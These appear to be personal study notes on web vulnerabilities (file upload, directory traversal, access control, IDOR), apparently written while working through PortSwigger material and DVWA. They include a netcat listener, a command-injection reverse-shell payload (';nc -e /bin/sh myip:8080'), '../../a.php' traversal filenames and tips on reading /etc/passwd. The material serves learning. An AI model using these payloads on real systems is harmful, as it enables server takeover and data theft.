***File Upload / File Intrusion***

Ref: [S](https://portswigger.net/web-security/cross-site-scripting/exploiting)pin the hack YouTube channel

### *Create server to listen*

*n*c -vv -l -p 8080

If the server is executing the commands then following injection will make us take over entire server

;nc -e /bin/sh myip:8080

nc is namecat command

**DVWA: Damn vulnerability Web App**

The impact of file upload vulnerability

* Which aspect of the file the website fails to validate properly, whether that be its size, type, contents, and so on. (denial of service or full take over)
* What restrictions are imposed on the file once it has been successfully uploaded. (if the file is allowed to be executed)

File Upload:

File upload vulnerabilities are when a web server allows users to upload files to its filesystem without sufficiently validating things like their name, type, contents, or size. Failing to properly enforce restrictions on these could mean that even a basic image upload function can be used to upload arbitrary and potentially dangerous files instead. This could even include server-side script files that enable remote code execution.

* File type check
* Blacklisted file type but some obscureity of file type is present
* Flawed file type validation

Text data in from has www-form-url-encoded type for post

File/Binary data has multipart/form-data

* Changing the filename of image or any files with check to traverse the directory

Like filename to bet ../../a.php

* Adding code at the end of the file for php execution
* server does not care about the extension of the file, it cares about the header Content-type, which specify the type of the content delivered in the request

**File Traversal vulnerablility**

check if filename of the image can access normal files like /etc/passwd

## ACL (Access control )

Access control is the application of constraints on who or what is authorized to perform actions or access resources

On Web :

* Authentication confirms that the user is who they say they are.
* Session management identifies which subsequent HTTP requests are being made by that same user.
* Access control determines whether the user is allowed to carry out the action that they are attempting to perform.

**Vertical privilege escalation:** If a user can gain access to functionality that they are not permitted to access then this is vertical privilege escalation

## Unprotected functionality: Only Url change is required to access admin priviledges. So either this URL <https://insecure-website.com/admin> or <https://insecure-website.com/robots.txt> reveals the information of the admin page or use a word list to access admin page

1) Check robot.txt

2) Brutforce the file

3) check for admin url in js

Go to target of Burp and you will see the mapping

4) Parameter-based access control methods

* A hidden field. **Check here**
* A cookie. **Check here**
* A preset query string parameter: **Check here**

eg :

https://insecure-website.com/login/home.jsp?admin=true https://insecure-website.com/login/home.jsp?role=1

## Horizontal privilege escalation:

## Horizontal privilege escalation occurs if a user is able to gain access to resources belonging to another user, instead of their own resources of that type

https://insecure-website.com/myaccount?id=123

This is an example of an insecure direct object reference (IDOR) vulnerability. This type of vulnerability arises where user-controller parameter values are used to access resources or functions directly.

In some applications, the exploitable parameter does not have a predictable value. For example, instead of an incrementing number, an application might use globally unique identifiers (GUIDs) to identify users. This may prevent an attacker from guessing or predicting another user's identifier. However, the GUIDs belonging to other users might be disclosed elsewhere in the application where users are referenced, such as user messages or reviews.

All the vertical scalation is present , so check if password is revealed somewhere so that it leads to vertical priviledges